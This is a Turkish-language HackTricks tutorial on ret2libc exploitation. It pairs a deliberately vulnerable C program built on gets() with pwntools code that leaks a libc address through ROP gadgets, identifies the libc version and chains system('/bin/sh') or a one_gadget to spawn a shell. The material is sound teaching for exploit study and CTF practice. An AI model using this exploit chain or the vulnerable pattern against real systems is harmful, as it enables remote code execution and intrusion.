ROP ile libc adresini sızdırma

Reading time: 9 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Hızlı Özeti

  1. Taşma ofsetini bul
  2. POP_RDI gadget'ını, PUTS_PLT ve MAIN gadget'larını bul
  3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun bellek adresini sızdır ve libc sürümünü bul (indirin)
  4. Kütüphane ile, ROP'u hesapla ve istismar et

Pratik yapmak için diğer eğitimler ve ikili dosyalar

Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Diğer yararlı eğitimler: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Dosya adı: vuln.c

c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC Sızıntı Şablonu

Exploit'i indirin ve onu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin:

Leaking libc - template

1- Ofseti Bulma

Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, onu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak OFFSET = ""):

bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Çalıştır python template.py bir GDB konsolu açılacak ve program çökertilecektir. O GDB konsolu içinde x/wx $rsp komutunu çalıştırarak RIP'i geçecek olan baytları al. Son olarak, bir python konsolu kullanarak offset'i al:

python
from pwn import *
cyclic_find(0x6161616b)

Offset'u bulduktan sonra (bu durumda 40) bu değeri kullanarak şablon içindeki OFFSET değişkenini değiştirin.
OFFSET = "A" * 40

Başka bir yol ise: pattern create 1000 -- ret'ye kadar çalıştır -- pattern seach $rsp GEF'den kullanmaktır.

2- Gadget'ları Bulma

Artık ikili dosya içinde ROP gadget'larını bulmamız gerekiyor. Bu ROP gadget'ları, kullanılan libc'yi bulmak için puts çağırmak ve daha sonra son istismarı başlatmak için faydalı olacaktır.

python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT, puts fonksiyonunu çağırmak için gereklidir.
MAIN_PLT, bir etkileşimden sonra main function'ı tekrar çağırmak için gereklidir, böylece taşmayı tekrar istismar edebiliriz (sonsuz istismar turları). Her ROP'un sonunda programı tekrar çağırmak için kullanılır.
POP_RDI, çağrılan fonksiyona bir parametre geçmek için gereklidir.

Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır.

3- libc kütüphanesini bulma

Artık hangi libc kütüphanesi sürümünün kullanıldığını bulma zamanı. Bunu yapmak için, puts fonksiyonunun bellek adresini sızdıracağız ve ardından bu adreste hangi kütüphane sürümü içinde puts sürümünün olduğunu arama yapacağız.

python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Bunu yapmak için, yürütülen kodun en önemli satırı şudur:

python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Bu, bazı baytları RIP'i aşındırmak mümkün olana kadar gönderecektir: OFFSET.
Sonra, POP_RDI gadget'ının adresini ayarlayacak, böylece bir sonraki adres (FUNC_GOT) RDI kaydında saklanacaktır. Bunun nedeni, puts'u çağırmak ve ona PUTS_GOT'ın adresini geçmektir çünkü puts fonksiyonunun bellek içindeki adresi PUTS_GOT tarafından işaret edilen adreste saklanmaktadır.
Bundan sonra, PUTS_PLT çağrılacak (içinde RDI'de PUTS_GOT ile) böylece puts, PUTS_GOT içindeki içeriği okuyacak (puts fonksiyonunun bellek içindeki adresi) ve bunu yazdıracaktır.
Son olarak, ana fonksiyon tekrar çağrılır böylece taşmayı tekrar istismar edebiliriz.

Bu şekilde, puts fonksiyonunu belirli bir adresi bellekte yazdırması için kandırdık (bu, libc kütüphanesi içindedir). Artık bu adrese sahip olduğumuza göre, hangi libc sürümünün kullanıldığını arayabiliriz.

Yerel bir ikiliyi istismar ettiğimiz için, hangi libc sürümünün kullanıldığını bulmamıza gerek yoktur (sadece /lib/x86_64-linux-gnu/libc.so.6 içindeki kütüphaneyi bul).
Ancak, uzaktan bir istismar durumunda, bunu nasıl bulabileceğinizi burada açıklayacağım:

3.1- libc sürümünü arama (1)

Hangi kütüphanenin kullanıldığını web sayfasında arayabilirsiniz: https://libc.blukat.me/
Ayrıca, keşfedilen libc sürümünü indirmenize de olanak tanır.

3.2- libc sürümünü arama (2)

Ayrıca şunları yapabilirsiniz:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Bu biraz zaman alacaktır, sabırlı olun.
Bunun çalışması için şunlara ihtiyacımız var:

  • Libc sembol adı: puts
  • Sızdırılan libc adresi: 0x7ff629878690

Hangi libc'nin muhtemelen kullanıldığını belirleyebiliriz.

bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

İki eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin:

bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so dosyasını çalışma dizinimize kopyalayın.

3.3- Sızdırmak için diğer fonksiyonlar

python
puts
printf
__libc_start_main
read
gets

4- Bulunma temelli libc adresi ve istismar

Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: /lib/x86_64-linux-gnu/libc.so.6

Bu nedenle, template.py dosyasının başında libc değişkenini şuna değiştirin: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın

libc kütüphanesine yol vererek, geri kalan istismar otomatik olarak hesaplanacak.

get_addr fonksiyonu içinde libc'nin temel adresi hesaplanacak:

python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

note

Son libc temel adresinin 00 ile bitmesi gerektiğini unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz.

Daha sonra, system fonksiyonunun adresi ve adres "/bin/sh" dizesi libc'nin temel adresinden hesaplanacak ve libc kütüphanesine verilecektir.

python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek:

python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Son ROP'u açıklayalım.
Son ROP (rop1), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden yine istismar edebiliriz overflow (bu yüzden OFFSET burada tekrar var). Ardından, "/bin/sh" (BINSH) adresine işaret eden POP_RDI'yi çağırmak istiyoruz ve system fonksiyonunu (SYSTEM) çağırmak istiyoruz çünkü "/bin/sh" adresi bir parametre olarak geçecektir.
Son olarak, çıkış fonksiyonunun adresi çağrılır böylece işlem güzel bir şekilde çıkar ve herhangi bir uyarı üretilmez.

Bu şekilde istismar bir _/bin/sh_** shell'i çalıştıracaktır.**

4(2)- ONE_GADGET KULLANARAK

Ayrıca ONE_GADGET kullanarak system ve "/bin/sh" yerine bir shell elde edebilirsiniz. ONE_GADGET, libc kütüphanesi içinde sadece bir ROP adresi kullanarak bir shell elde etmenin bir yolunu bulacaktır.
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler [rsp+0x30] == NULL gibidir. RSP içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.

python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

İSTİSMAR DOSYASI

Bu güvenlik açığını istismar etmek için bir şablon burada bulunabilir:

Leaking libc - template

Yaygın problemler

MAIN_PLT = elf.symbols['main'] bulunamadı

Eğer "main" sembolü yoksa, ana kodun nerede olduğunu bulabilirsiniz:

python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

ve adresi manuel olarak ayarlayın:

python
MAIN_PLT = 0x401080

Puts bulunamadı

Eğer ikili dosya Puts kullanmıyorsa, kullanıp kullanmadığını kontrol etmelisiniz.

sh: 1: %s%s%s%s%s%s%s%s: bulunamadı

Eğer tüm istismarı oluşturduktan sonra bu hata ile karşılaşırsanız: sh: 1: %s%s%s%s%s%s%s%s: bulunamadı

"/bin/sh" adresinden 64 bayt çıkarmayı deneyin:

python
BINSH = next(libc.search("/bin/sh")) - 64

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin